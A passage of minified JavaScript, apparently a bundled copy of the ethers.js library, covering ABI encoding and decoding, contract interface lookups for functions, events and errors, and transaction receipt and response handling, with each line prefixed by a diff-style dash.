zc(t2), n2 = jc(t2); - let A2 = []; - Jc(t2, Qc(["returns"])).has("returns") && (A2 = zc(t2)); - const i2 = qc(t2); - return Xc(t2), new _ph(Zc, e3, n2, r4, A2, i2); - } - let e2 = t2.stateMutability; - return null == e2 && (e2 = "payable", "boolean" == typeof t2.constant ? (e2 = "view", t2.constant || (e2 = "payable", "boolean" != typeof t2.payable || t2.payable || (e2 = "nonpayable"))) : "boolean" != typeof t2.payable || t2.payable || (e2 = "nonpayable")), new _ph(Zc, t2.name, e2, t2.inputs ? t2.inputs.map(sh.from) : [], t2.outputs ? t2.outputs.map(sh.from) : [], null != t2.gas ? t2.gas : null); - } - static isFragment(t2) { - return t2 && t2[$c] === ih; - } - }; - var dh = class _dh extends ch { - constructor(t2, e2, r4) { - super(t2, "struct", e2, r4), Object.defineProperty(this, $c, { value: oh }); - } - format() { - throw new Error("@TODO"); - } - static from(t2) { - if ("string" == typeof t2) - try { - return _dh.from(Oc(t2)); - } catch (e2) { - vn(false, "invalid struct fragment", "obj", t2); - } - else if (t2 instanceof Lc) { - const e2 = Kc("struct", t2), r4 = zc(t2); - return Xc(t2), new _dh(Zc, e2, r4); - } - return new _dh(Zc, t2.name, t2.inputs ? t2.inputs.map(sh.from) : []); - } - static isFragment(t2) { - return t2 && t2[$c] === oh; - } - }; - var Ih = /* @__PURE__ */ new Map(); - Ih.set(0, "GENERIC_PANIC"), Ih.set(1, "ASSERT_FALSE"), Ih.set(17, "OVERFLOW"), Ih.set(18, "DIVIDE_BY_ZERO"), Ih.set(33, "ENUM_RANGE_ERROR"), Ih.set(34, "BAD_STORAGE_DATA"), Ih.set(49, "STACK_UNDERFLOW"), Ih.set(50, "ARRAY_RANGE_ERROR"), Ih.set(65, "OUT_OF_MEMORY"), Ih.set(81, "UNINITIALIZED_FUNCTION_CALL"); - var yh = new RegExp(/^bytes([0-9]*)$/); - var Ch = new RegExp(/^(u?int)([0-9]*)$/); - var mh = null; - var Bh = 1024; - var Eh = class _Eh { - #j(t2) { - if (t2.isArray()) - return new Da(this.#j(t2.arrayChildren), t2.arrayLength, t2.name); - if (t2.isTuple()) - return new La(t2.components.map((t3) => this.#j(t3)), t2.name); - switch (t2.baseType) { - case "address": - return new _a(t2.name); - case "bool": - return new Sa(t2.name); - case "string": - return new Ha(t2.name); - case "bytes": - return new Ma(t2.name); - case "": - return new Pa(t2.name); - } - let e2 = t2.type.match(Ch); - if (e2) { - let r4 = parseInt(e2[2] || "256"); - return vn(0 !== r4 && r4 <= 256 && r4 % 8 == 0, "invalid " + e2[1] + " bit length", "param", t2), new Ga(r4 / 8, "int" === e2[1], t2.name); - } - if (e2 = t2.type.match(yh), e2) { - let r4 = parseInt(e2[1]); - return vn(0 !== r4 && r4 <= 32, "invalid bytes length", "param", t2), new xa(r4, t2.name); - } - vn(false, "invalid type", "type", t2.type); - } - getDefaultValue(t2) { - const e2 = t2.map((t3) => this.#j(sh.from(t3))); - return new La(e2, "_").defaultValue(); - } - encode(t2, e2) { - _n(e2.length, t2.length, "types/values length mismatch"); - const r4 = t2.map((t3) => this.#j(sh.from(t3))), n2 = new La(r4, "_"), A2 = new HA(); - return n2.encode(A2, e2), A2.data; - } - decode(t2, e2, r4) { - const n2 = t2.map((t3) => this.#j(sh.from(t3))); - return new La(n2, "_").decode(new LA(e2, r4, Bh)); - } - static _setDefaultMaxInflation(t2) { - vn("number" == typeof t2 && Number.isInteger(t2), "invalid defaultMaxInflation factor", "value", t2), Bh = t2; - } - static defaultAbiCoder() { - return null == mh && (mh = new _Eh()), mh; - } - static getBuiltinCallException(t2, e2, r4) { - return function(t3, e3, r5, n2) { - let A2 = "missing revert data", i2 = null, o2 = null; - if (r5) { - A2 = "execution reverted"; - const t4 = Sn(r5); - if (r5 = Pn(r5), 0 === t4.length) - A2 += " (no data present; likely require(false) occurred", i2 = "require(false)"; - else if (t4.length % 32 != 4) - A2 += " (could not decode reason; invalid data length)"; - else if ("0x08c379a0" === Pn(t4.slice(0, 4))) - try { - i2 = n2.decode(["string"], t4.slice(4))[0], o2 = { signature: "Error(string)", name: "Error", args: [i2] }, A2 += `: ${JSON.stringify(i2)}`; - } catch (t5) { - A2 += " (could not decode reason; invalid string data)"; - } - else if ("0x4e487b71" === Pn(t4.slice(0, 4))) - try { - const e4 = Number(n2.decode(["uint256"], t4.slice(4))[0]); - o2 = { signature: "Panic(uint256)", name: "Panic", args: [e4] }, i2 = `Panic due to ${Ih.get(e4) || "UNKNOWN"}(${e4})`, A2 += `: ${i2}`; - } catch (t5) { - A2 += " (could not decode panic code)"; - } - else - A2 += " (unknown custom error)"; - } - const s2 = { to: e3.to ? da(e3.to) : null, data: e3.data || "0x" }; - return e3.from && (s2.from = da(e3.from)), En(A2, "CALL_EXCEPTION", { action: t3, data: r5, reason: i2, transaction: s2, invocation: null, revert: o2 }); - }(t2, e2, r4, _Eh.defaultAbiCoder()); - } - }; - var wh = class { - fragment; - name; - signature; - topic; - args; - constructor(t2, e2, r4) { - const n2 = t2.name, A2 = t2.format(); - yn(this, { fragment: t2, name: n2, signature: A2, topic: e2, args: r4 }); - } - }; - var vh = class { - fragment; - name; - args; - signature; - selector; - value; - constructor(t2, e2, r4, n2) { - const A2 = t2.name, i2 = t2.format(); - yn(this, { fragment: t2, name: A2, args: r4, signature: i2, selector: e2, value: n2 }); - } - }; - var _h = class { - fragment; - name; - args; - signature; - selector; - constructor(t2, e2, r4) { - const n2 = t2.name, A2 = t2.format(); - yn(this, { fragment: t2, name: n2, args: r4, signature: A2, selector: e2 }); - } - }; - var Qh = class { - hash; - _isIndexed; - static isIndexed(t2) { - return !(!t2 || !t2._isIndexed); - } - constructor(t2) { - yn(this, { hash: t2, _isIndexed: true }); - } - }; - var bh = { 0: "generic panic", 1: "assert(false)", 17: "arithmetic overflow", 18: "division or modulo by zero", 33: "enum overflow", 34: "invalid encoded storage byte array accessed", 49: "out-of-bounds array access; popping on an empty array", 50: "out-of-bounds access of an array or bytesN", 65: "out of memory", 81: "uninitialized function" }; - var kh = { "0x08c379a0": { signature: "Error(string)", name: "Error", inputs: ["string"], reason: (t2) => `reverted with reason string ${JSON.stringify(t2)}` }, "0x4e487b71": { signature: "Panic(uint256)", name: "Panic", inputs: ["uint256"], reason: (t2) => { - let e2 = "unknown panic code"; - return t2 >= 0 && t2 <= 255 && bh[t2.toString()] && (e2 = bh[t2.toString()]), `reverted with panic code 0x${t2.toString(16)} (${e2})`; - } } }; - var Dh = class _Dh { - fragments; - deploy; - fallback; - receive; - #z; - #q; - #X; - #V; - constructor(t2) { - let e2 = []; - e2 = "string" == typeof t2 ? JSON.parse(t2) : t2, this.#X = /* @__PURE__ */ new Map(), this.#z = /* @__PURE__ */ new Map(), this.#q = /* @__PURE__ */ new Map(); - const r4 = []; - for (const t3 of e2) - try { - r4.push(ah.from(t3)); - } catch (e3) { - console.log(`[Warning] Invalid Fragment ${JSON.stringify(t3)}:`, e3.message); - } - yn(this, { fragments: Object.freeze(r4) }); - let n2 = null, A2 = false; - this.#V = this.getAbiCoder(), this.fragments.forEach((t3, e3) => { - let r5; - switch (t3.type) { - case "constructor": - return this.deploy ? void console.log("duplicate definition - constructor") : void yn(this, { deploy: t3 }); - case "fallback": - return void (0 === t3.inputs.length ? A2 = true : (vn(!n2 || t3.payable !== n2.payable, "conflicting fallback fragments", `fragments[${e3}]`, t3), n2 = t3, A2 = n2.payable)); - case "function": - r5 = this.#X; - break; - case "event": - r5 = this.#q; - break; - case "error": - r5 = this.#z; - break; - default: - return; - } - const i2 = t3.format(); - r5.has(i2) || r5.set(i2, t3); - }), this.deploy || yn(this, { deploy: lh.from("constructor()") }), yn(this, { fallback: n2, receive: A2 }); - } - format(t2) { - const e2 = t2 ? "minimal" : "full", r4 = this.fragments.map((t3) => t3.format(e2)); - return r4; - } - formatJson() { - const t2 = this.fragments.map((t3) => t3.format("json")); - return JSON.stringify(t2.map((t3) => JSON.parse(t3))); - } - getAbiCoder() { - return Eh.defaultAbiCoder(); - } - #W(t2, e2, r4) { - if (Mn(t2)) { - const e3 = t2.toLowerCase(); - for (const t3 of this.#X.values()) - if (e3 === t3.selector) - return t3; - return null; - } - if (-1 === t2.indexOf("(")) { - const n3 = []; - for (const [e3, r5] of this.#X) - e3.split("(")[0] === t2 && n3.push(r5); - if (e2) { - const t3 = e2.length > 0 ? e2[e2.length - 1] : null; - let r5 = e2.length, A2 = true; - va.isTyped(t3) && "overrides" === t3.type && (A2 = false, r5--); - for (let t4 = n3.length - 1; t4 >= 0; t4--) { - const e3 = n3[t4].inputs.length; - e3 === r5 || A2 && e3 === r5 - 1 || n3.splice(t4, 1); - } - for (let t4 = n3.length - 1; t4 >= 0; t4--) { - const r6 = n3[t4].inputs; - for (let A3 = 0; A3 < e2.length; A3++) - if (va.isTyped(e2[A3])) { - if (A3 >= r6.length) { - if ("overrides" === e2[A3].type) - continue; - n3.splice(t4, 1); - break; - } - if (e2[A3].type !== r6[A3].baseType) { - n3.splice(t4, 1); - break; - } - } - } - } - if (1 === n3.length && e2 && e2.length !== n3[0].inputs.length) { - const t3 = e2[e2.length - 1]; - (null == t3 || Array.isArray(t3) || "object" != typeof t3) && n3.splice(0, 1); - } - if (0 === n3.length) - return null; - if (n3.length > 1 && r4) { - vn(false, `ambiguous function description (i.e. matches ${n3.map((t3) => JSON.stringify(t3.format())).join(", ")})`, "key", t2); - } - return n3[0]; - } - const n2 = this.#X.get(ph.from(t2).format()); - return n2 || null; - } - getFunctionName(t2) { - const e2 = this.#W(t2, null, false); - return vn(e2, "no matching function", "key", t2), e2.name; - } - hasFunction(t2) { - return !!this.#W(t2, null, false); - } - getFunction(t2, e2) { - return this.#W(t2, e2 || null, true); - } - forEachFunction(t2) { - const e2 = Array.from(this.#X.keys()); - e2.sort((t3, e3) => t3.localeCompare(e3)); - for (let r4 = 0; r4 < e2.length; r4++) { - const n2 = e2[r4]; - t2(this.#X.get(n2), r4); - } - } - #Z(t2, e2, r4) { - if (Mn(t2)) { - const e3 = t2.toLowerCase(); - for (const t3 of this.#q.values()) - if (e3 === t3.topicHash) - return t3; - return null; - } - if (-1 === t2.indexOf("(")) { - const n3 = []; - for (const [e3, r5] of this.#q) - e3.split("(")[0] === t2 && n3.push(r5); - if (e2) { - for (let t3 = n3.length - 1; t3 >= 0; t3--) - n3[t3].inputs.length < e2.length && n3.splice(t3, 1); - for (let t3 = n3.length - 1; t3 >= 0; t3--) { - const r5 = n3[t3].inputs; - for (let A2 = 0; A2 < e2.length; A2++) - if (va.isTyped(e2[A2]) && e2[A2].type !== r5[A2].baseType) { - n3.splice(t3, 1); - break; - } - } - } - if (0 === n3.length) - return null; - if (n3.length > 1 && r4) { - vn(false, `ambiguous event description (i.e. matches ${n3.map((t3) => JSON.stringify(t3.format())).join(", ")})`, "key", t2); - } - return n3[0]; - } - const n2 = this.#q.get(uh.from(t2).format()); - return n2 || null; - } - getEventName(t2) { - const e2 = this.#Z(t2, null, false); - return vn(e2, "no matching event", "key", t2), e2.name; - } - hasEvent(t2) { - return !!this.#Z(t2, null, false); - } - getEvent(t2, e2) { - return this.#Z(t2, e2 || null, true); - } - forEachEvent(t2) { - const e2 = Array.from(this.#q.keys()); - e2.sort((t3, e3) => t3.localeCompare(e3)); - for (let r4 = 0; r4 < e2.length; r4++) { - const n2 = e2[r4]; - t2(this.#q.get(n2), r4); - } - } - getError(t2, e2) { - if (Mn(t2)) { - const e3 = t2.toLowerCase(); - if (kh[e3]) - return gh.from(kh[e3].signature); - for (const t3 of this.#z.values()) - if (e3 === t3.selector) - return t3; - return null; - } - if (-1 === t2.indexOf("(")) { - const e3 = []; - for (const [r5, n2] of this.#z) - r5.split("(")[0] === t2 && e3.push(n2); - if (0 === e3.length) - return "Error" === t2 ? gh.from("error Error(string)") : "Panic" === t2 ? gh.from("error Panic(uint256)") : null; - if (e3.length > 1) { - vn(false, `ambiguous error description (i.e. ${e3.map((t3) => JSON.stringify(t3.format())).join(", ")})`, "name", t2); - } - return e3[0]; - } - if ("Error(string)" === (t2 = gh.from(t2).format())) - return gh.from("error Error(string)"); - if ("Panic(uint256)" === t2) - return gh.from("error Panic(uint256)"); - const r4 = this.#z.get(t2); - return r4 || null; - } - forEachError(t2) { - const e2 = Array.from(this.#z.keys()); - e2.sort((t3, e3) => t3.localeCompare(e3)); - for (let r4 = 0; r4 < e2.length; r4++) { - const n2 = e2[r4]; - t2(this.#z.get(n2), r4); - } - } - _decodeParams(t2, e2) { - return this.#V.decode(t2, e2); - } - _encodeParams(t2, e2) { - return this.#V.encode(t2, e2); - } - encodeDeploy(t2) { - return this._encodeParams(this.deploy.inputs, t2 || []); - } - decodeErrorResult(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getError(t2); - vn(e3, "unknown error", "fragment", t2), t2 = e3; - } - return vn(Un(e2, 0, 4) === t2.selector, `data signature does not match error ${t2.name}.`, "data", e2), this._decodeParams(t2.inputs, Un(e2, 4)); - } - encodeErrorResult(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getError(t2); - vn(e3, "unknown error", "fragment", t2), t2 = e3; - } - return Tn([t2.selector, this._encodeParams(t2.inputs, e2 || [])]); - } - decodeFunctionData(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getFunction(t2); - vn(e3, "unknown function", "fragment", t2), t2 = e3; - } - return vn(Un(e2, 0, 4) === t2.selector, `data signature does not match function ${t2.name}.`, "data", e2), this._decodeParams(t2.inputs, Un(e2, 4)); - } - encodeFunctionData(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getFunction(t2); - vn(e3, "unknown function", "fragment", t2), t2 = e3; - } - return Tn([t2.selector, this._encodeParams(t2.inputs, e2 || [])]); - } - decodeFunctionResult(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getFunction(t2); - vn(e3, "unknown function", "fragment", t2), t2 = e3; - } - let r4 = "invalid length for result data"; - const n2 = Nn(e2); - if (n2.length % 32 == 0) - try { - return this.#V.decode(t2.outputs, n2); - } catch (t3) { - r4 = "could not decode result data"; - } - wn(false, r4, "BAD_DATA", { value: Pn(n2), info: { method: t2.name, signature: t2.format() } }); - } - makeError(t2, e2) { - const r4 = Sn(t2, "data"), n2 = Eh.getBuiltinCallException("call", e2, r4); - if (n2.message.startsWith("execution reverted (unknown custom error)")) { - const t3 = Pn(r4.slice(0, 4)), e3 = this.getError(t3); - if (e3) - try { - const t4 = this.#V.decode(e3.inputs, r4.slice(4)); - n2.revert = { name: e3.name, signature: e3.format(), args: t4 }, n2.reason = n2.revert.signature, n2.message = `execution reverted: ${n2.reason}`; - } catch (t4) { - n2.message = "execution reverted (coult not decode custom error)"; - } - } - const A2 = this.parseTransaction(e2); - return A2 && (n2.invocation = { method: A2.name, signature: A2.signature, args: A2.args }), n2; - } - encodeFunctionResult(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getFunction(t2); - vn(e3, "unknown function", "fragment", t2), t2 = e3; - } - return Pn(this.#V.encode(t2.outputs, e2 || [])); - } - encodeFilterTopics(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getEvent(t2); - vn(e3, "unknown event", "eventFragment", t2), t2 = e3; - } - wn(e2.length <= t2.inputs.length, `too many arguments for ${t2.format()}`, "UNEXPECTED_ARGUMENT", { count: e2.length, expectedCount: t2.inputs.length }); - const r4 = []; - t2.anonymous || r4.push(t2.topicHash); - const n2 = (t3, e3) => "string" === t3.type ? Oa(e3) : "bytes" === t3.type ? no(Pn(e3)) : ("bool" === t3.type && "boolean" == typeof e3 ? e3 = e3 ? "0x01" : "0x00" : t3.type.match(/^u?int/) ? e3 = Zn(e3) : t3.type.match(/^bytes/) ? e3 = Gn(e3, 32, false) : "address" === t3.type && this.#V.encode(["address"], [e3]), Hn(Pn(e3), 32)); - for (e2.forEach((e3, A2) => { - const i2 = t2.inputs[A2]; - i2.indexed ? null == e3 ? r4.push(null) : "array" === i2.baseType || "tuple" === i2.baseType ? vn(false, "filtering with tuples or arrays not supported", "contract." + i2.name, e3) : Array.isArray(e3) ? r4.push(e3.map((t3) => n2(i2, t3))) : r4.push(n2(i2, e3)) : vn(null == e3, "cannot filter non-indexed parameters; must be null", "contract." + i2.name, e3); - }); r4.length && null === r4[r4.length - 1]; ) - r4.pop(); - return r4; - } - encodeEventLog(t2, e2) { - if ("string" == typeof t2) { - const e3 = this.getEvent(t2); - vn(e3, "unknown event", "eventFragment", t2), t2 = e3; - } - const r4 = [], n2 = [], A2 = []; - return t2.anonymous || r4.push(t2.topicHash), vn(e2.length === t2.inputs.length, "event arguments/values mismatch", "values", e2), t2.inputs.forEach((t3, i2) => { - const o2 = e2[i2]; - if (t3.indexed) - if ("string" === t3.type) - r4.push(Oa(o2)); - else if ("bytes" === t3.type) - r4.push(no(o2)); - else { - if ("tuple" === t3.baseType || "array" === t3.baseType) - throw new Error("not implemented"); - r4.push(this.#V.encode([t3.type], [o2])); - } - else - n2.push(t3), A2.push(o2); - }), { data: this.#V.encode(n2, A2), topics: r4 }; - } - decodeEventLog(t2, e2, r4) { - if ("string" == typeof t2) { - const e3 = this.getEvent(t2); - vn(e3, "unknown event", "eventFragment", t2), t2 = e3; - } - if (null != r4 && !t2.anonymous) { - const e3 = t2.topicHash; - vn(Mn(r4[0], 32) && r4[0].toLowerCase() === e3, "fragment/topic mismatch", "topics[0]", r4[0]), r4 = r4.slice(1); - } - const n2 = [], A2 = [], i2 = []; - t2.inputs.forEach((t3, e3) => { - t3.indexed ? "string" === t3.type || "bytes" === t3.type || "tuple" === t3.baseType || "array" === t3.baseType ? (n2.push(sh.from({ type: "bytes32", name: t3.name })), i2.push(true)) : (n2.push(t3), i2.push(false)) : (A2.push(t3), i2.push(false)); - }); - const o2 = null != r4 ? this.#V.decode(n2, Tn(r4)) : null, s2 = this.#V.decode(A2, e2, true), a2 = [], c2 = []; - let h2 = 0, g2 = 0; - return t2.inputs.forEach((t3, e3) => { - let r5 = null; - if (t3.indexed) - if (null == o2) - r5 = new Qh(null); - else if (i2[e3]) - r5 = new Qh(o2[g2++]); - else - try { - r5 = o2[g2++]; - } catch (t4) { - r5 = t4; - } - else - try { - r5 = s2[h2++]; - } catch (t4) { - r5 = t4; - } - a2.push(r5), c2.push(t3.name || null); - }), RA.fromItems(a2, c2); - } - parseTransaction(t2) { - const e2 = Sn(t2.data, "tx.data"), r4 = zn(null != t2.value ? t2.value : 0, "tx.value"), n2 = this.getFunction(Pn(e2.slice(0, 4))); - if (!n2) - return null; - const A2 = this.#V.decode(n2.inputs, e2.slice(4)); - return new vh(n2, n2.selector, A2, r4); - } - parseCallResult(t2) { - throw new Error("@TODO"); - } - parseLog(t2) { - const e2 = this.getEvent(t2.topics[0]); - return !e2 || e2.anonymous ? null : new wh(e2, e2.topicHash, this.decodeEventLog(e2, t2.data, t2.topics)); - } - parseError(t2) { - const e2 = Pn(t2), r4 = this.getError(Un(e2, 0, 4)); - if (!r4) - return null; - const n2 = this.#V.decode(r4.inputs, Un(e2, 4)); - return new _h(r4, r4.selector, n2); - } - static from(t2) { - return t2 instanceof _Dh ? t2 : "string" == typeof t2 ? new _Dh(JSON.parse(t2)) : "function" == typeof t2.format ? new _Dh(t2.format("json")) : new _Dh(t2); - } - }; - var Sh = BigInt(0); - function Nh(t2) { - return null == t2 ? null : t2.toString(); - } - function Mh(t2) { - const e2 = {}; - t2.to && (e2.to = t2.to), t2.from && (e2.from = t2.from), t2.data && (e2.data = Pn(t2.data)); - const r4 = "chainId,gasLimit,gasPrice,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/); - for (const n3 of r4) - n3 in t2 && null != t2[n3] && (e2[n3] = zn(t2[n3], `request.${n3}`)); - const n2 = "type,nonce".split(/,/); - for (const r5 of n2) - r5 in t2 && null != t2[r5] && (e2[r5] = Wn(t2[r5], `request.${r5}`)); - return t2.accessList && (e2.accessList = Ka(t2.accessList)), "blockTag" in t2 && (e2.blockTag = t2.blockTag), "enableCcipRead" in t2 && (e2.enableCcipRead = !!t2.enableCcipRead), "customData" in t2 && (e2.customData = t2.customData), e2; - } - var xh = class { - provider; - transactionHash; - blockHash; - blockNumber; - removed; - address; - data; - topics; - index; - transactionIndex; - constructor(t2, e2) { - this.provider = e2; - const r4 = Object.freeze(t2.topics.slice()); - yn(this, { transactionHash: t2.transactionHash, blockHash: t2.blockHash, blockNumber: t2.blockNumber, removed: t2.removed, address: t2.address, data: t2.data, topics: r4, index: t2.index, transactionIndex: t2.transactionIndex }); - } - toJSON() { - const { address: t2, blockHash: e2, blockNumber: r4, data: n2, index: A2, removed: i2, topics: o2, transactionHash: s2, transactionIndex: a2 } = this; - return { _type: "log", address: t2, blockHash: e2, blockNumber: r4, data: n2, index: A2, removed: i2, topics: o2, transactionHash: s2, transactionIndex: a2 }; - } - async getBlock() { - const t2 = await this.provider.getBlock(this.blockHash); - return wn(!!t2, "failed to find transaction", "UNKNOWN_ERROR", {}), t2; - } - async getTransaction() { - const t2 = await this.provider.getTransaction(this.transactionHash); - return wn(!!t2, "failed to find transaction", "UNKNOWN_ERROR", {}), t2; - } - async getTransactionReceipt() { - const t2 = await this.provider.getTransactionReceipt(this.transactionHash); - return wn(!!t2, "failed to find transaction receipt", "UNKNOWN_ERROR", {}), t2; - } - removedEvent() { - return { orphan: "drop-log", log: { transactionHash: (t2 = this).transactionHash, blockHash: t2.blockHash, blockNumber: t2.blockNumber, address: t2.address, data: t2.data, topics: Object.freeze(t2.topics.slice()), index: t2.index } }; - var t2; - } - }; - var Fh = class { - provider; - to; - from; - contractAddress; - hash; - index; - blockHash; - blockNumber; - logsBloom; - gasUsed; - blobGasUsed; - cumulativeGasUsed; - gasPrice; - blobGasPrice; - type; - status; - root; - #$; - constructor(t2, e2) { - this.#$ = Object.freeze(t2.logs.map((t3) => new xh(t3, e2))); - let r4 = Sh; - null != t2.effectiveGasPrice ? r4 = t2.effectiveGasPrice : null != t2.gasPrice && (r4 = t2.gasPrice), yn(this, { provider: e2, to: t2.to, from: t2.from, contractAddress: t2.contractAddress, hash: t2.hash, index: t2.index, blockHash: t2.blockHash, blockNumber: t2.blockNumber, logsBloom: t2.logsBloom, gasUsed: t2.gasUsed, cumulativeGasUsed: t2.cumulativeGasUsed, blobGasUsed: t2.blobGasUsed, gasPrice: r4, blobGasPrice: t2.blobGasPrice, type: t2.type, status: t2.status, root: t2.root }); - } - get logs() { - return this.#$; - } - toJSON() { - const { to: t2, from: e2, contractAddress: r4, hash: n2, index: A2, blockHash: i2, blockNumber: o2, logsBloom: s2, logs: a2, status: c2, root: h2 } = this; - return { _type: "TransactionReceipt", blockHash: i2, blockNumber: o2, contractAddress: r4, cumulativeGasUsed: Nh(this.cumulativeGasUsed), from: e2, gasPrice: Nh(this.gasPrice), blobGasUsed: Nh(this.blobGasUsed), blobGasPrice: Nh(this.blobGasPrice), gasUsed: Nh(this.gasUsed), hash: n2, index: A2, logs: a2, logsBloom: s2, root: h2, status: c2, to: t2 }; - } - get length() { - return this.logs.length; - } - [Symbol.iterator]() { - let t2 = 0; - return { next: () => t2 < this.length ? { value: this.logs[t2++], done: false } : { value: void 0, done: true } }; - } - get fee() { - return this.gasUsed * this.gasPrice; - } - async getBlock() { - const t2 = await this.provider.getBlock(this.blockHash); - if (null == t2) - throw new Error("TODO"); - return t2; - } - async getTransaction() { - const t2 = await this.provider.getTransaction(this.hash); - if (null == t2) - throw new Error("TODO"); - return t2; - } - async getResult() { - return await this.provider.getTransactionResult(this.hash); - } - async confirmations() { - return await this.provider.getBlockNumber() - this.blockNumber + 1; - } - removedEvent() { - return Rh(this); - } - reorderedEvent(t2) { - return wn(!t2 || t2.isMined(), "unmined 'other' transction cannot be orphaned", "UNSUPPORTED_OPERATION", { operation: "reorderedEvent(other)" }), Th(this, t2); - } - }; - var Ph = class _Ph { - provider; - blockNumber; - blockHash; - index; - hash; - type; - to; - from; - nonce; - gasLimit; - gasPrice; - maxPriorityFeePerGas; - maxFeePerGas; - maxFeePerBlobGas; - data; - value; - chainId; - signature; - accessList; - blobVersionedHashes; - #tt; - constructor(t2, e2) { - this.provider = e2, this.blockNumber = null != t2.blockNumber ? t2.blockNumber : null, this.blockHash = null != t2.blockHash ? t2.blockHash : null, this.hash = t2.hash, this.index = t2.index, this.type = t2.type, this.from = t2.from, this.to = t2.to || null, this.gasLimit = t2.gasLimit, this.nonce = t2.nonce, this.data = t2.data, this.value = t2.value, this.gasPrice = t2.gasPrice, this.maxPriorityFeePerGas = null != t2.maxPriorityFeePerGas ? t2.maxPriorityFeePerGas : null, this.maxFeePerGas = null != t2.maxFeePerGas ? t2.maxFeePerGas : null, this.maxFeePerBlobGas = null != t2.maxFeePerBlobGas ? t2.maxFeePerBlobGas : null, this.chainId = t2.chainId, this.signature = t2.signature, this.accessList = null != t2.accessList ? t2.accessList : null, this.blobVersionedHashes = null != t2.blobVersionedHashes ? t2.blobVersionedHashes : null, this.#tt = -1; - } - toJSON() { - const { blockNumber: t2, blockHash: e2, index: r4, hash: n2, type: A2, to: i2, from: o2, nonce: s2, data: a2, signature: c2, accessList: h2, blobVersionedHashes: g2 } = this; - return { _type: "TransactionResponse", accessList: h2, blockNumber: t2, blockHash: e2, blobVersionedHashes: g2, chainId: Nh(this.chainId), data: a2, from: o2, gasLimit: Nh(this.gasLimit), gasPrice: Nh(this.gasPrice), hash: n2, maxFeePerGas: Nh(this.maxFeePerGas), maxPriorityFeePerGas: Nh(this.maxPriorityFeePerGas), maxFeePerBlobGas: Nh(this.maxFeePerBlobGas), nonce: s2, signature: c2, to: i2, index: r4, type: A2, value: Nh(this.value) }; - } - async getBlock() { - let t2 = this.blockNumber; - if (null == t2) { - const e3 = await this.getTransaction(); - e3 && (t2 = e3.blockNumber); - } - if (null == t2) - return null; - const e2 = this.provider.getBlock(t2); - if (null == e2) - throw new Error("TODO"); - return e2; - } - async getTransaction() { - return this.provider.getTransaction(this.hash); - } - async confirmations() { - if (null == this.blockNumber) { - const { tx: t2, blockNumber: e2 } = await In({ tx: this.getTransaction(), blockNumber: this.provider.getBlockNumber() }); - return null == t2 || null == t2.blockNumber ? 0 : e2 - t2.blockNumber + 1; - } - return await this.provider.getBlockNumber() - this.blockNumber + 1; - } - async wait(t2, e2) { - const r4 = null == t2 ? 1 : t2, n2 = null == e2 ? 0 : e2; - let A2 = this.#tt, i2 = -1, o2 = -1 === A2; - const s2 = async () => { - if (o2) - return null; - const { blockNumber: t3, nonce: e3 } = await In({ blockNumber: this.provider.getBlockNumber(), nonce: this.provider.getTransactionCount(this.from) }); - if (e3 < this.nonce) - return void (A2 = t3); - if (o2) - return null; - const n3 = await this.getTransaction(); - if (!n3 || null == n3.blockNumber) - for (-1 === i2 && (i2 = A2 - 3, i2 < this.#tt && (i2 = this.#tt)); i2 <= t3; ) { - if (o2) - return null; - const e4 = await this.provider.getBlock(i2, true); - if (null == e4) - return; - for (const t4 of e4) - if (t4 === this.hash) - return; - for (let n4 = 0; n4 < e4.length; n4++) { - const i3 = await e4.getTransaction(n4); - if (i3.from === this.from && i3.nonce === this.nonce) { - if (o2) - return null; - const e5 = await this.provider.getTransactionReceipt(i3.hash); - if (null == e5) - return; - if (t3 - e5.blockNumber + 1 < r4) - return; - let n5 = "replaced"; - i3.data === this.data && i3.to === this.to && i3.value === this.value ? n5 = "repriced" : "0x" === i3.data && i3.from === i3.to && i3.value === Sh && (n5 = "cancelled"), wn(false, "transaction was replaced", "TRANSACTION_REPLACED", { cancelled: "replaced" === n5 || "cancelled" === n5, reason: n5, replacement: i3.replaceableTransaction(A2), hash: i3.hash, receipt: e5 }); - } - } - i2++; - } - }, a2 = (t3) => { - if (null == t3 || 0 !== t3.status) - return t3; - wn(false, "transaction execution reverted", "CALL_EXCEPTION", { action: "sendTransaction", data: null, reason: null, invocation: null, revert: null, transaction: { to: t3.to, from: t3.from, data: "" }, receipt: t3 }); - }, c2 = await this.provider.getTransactionReceipt(this.hash); - if (0 === r4) - return a2(c2); - if (c2) { - if (await c2.confirmations() >= r4) - return a2(c2); - } else if (await s2(), 0 === r4) - return null; - const h2 = new Promise((t3, e3) => { - const i3 = [], c3 = () => { - i3.forEach((t4) => t4()); - }; - if (i3.push(() => { - o2 = true; - }), n2 > 0) { - const t4 = setTimeout(() => { - c3(), e3(En("wait for transaction timeout", "TIMEOUT")); - }, n2); - i3.push(() => { - clearTimeout(t4); - }); - } - const h3 = async (n3) => { - if (await n3.confirmations() >= r4) { - c3(); - try { - t3(a2(n3)); - } catch (t4) { - e3(t4); - } - } - }; - if (i3.push(() => { - this.provider.off(this.hash, h3); - }), this.provider.on(this.hash, h3), A2 >= 0) { - const t4 = async () => { - try { - await s2(); - } catch (t5) { - if (mn(t5, "TRANSACTION_REPLACED")) - return c3(), void e3(t5); - } - o2 || this.provider.once("block", t4); - }; - i3.push(() => { - this.provider.off("block", t4); - }), this.provider.once("block", t4); - } - }); - return await h2; - } - isMined() { - return null != this.blockHash; - } - isLegacy() { - return 0 === this.type; - } - isBerlin() { - return 1 === this.type; - } - isLondon() { - return 2 === this.type; - } - isCancun() { - return 3 === this.type; - } - removedEvent() { - return wn(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }), Rh(this); - } - reorderedEvent(t2) { - return wn(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }), wn(!t2 || t2.isMined(), "unmined 'other' transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }), Th(this, t2); - } - replaceableTransaction(t2) { - vn(Number.isInteger(t2) && t2 >= 0, "invalid startBlock", "startBlock", t2); - const e2 = new _Ph(this, this.provider); - return e2.#tt = t2, e2; - } - 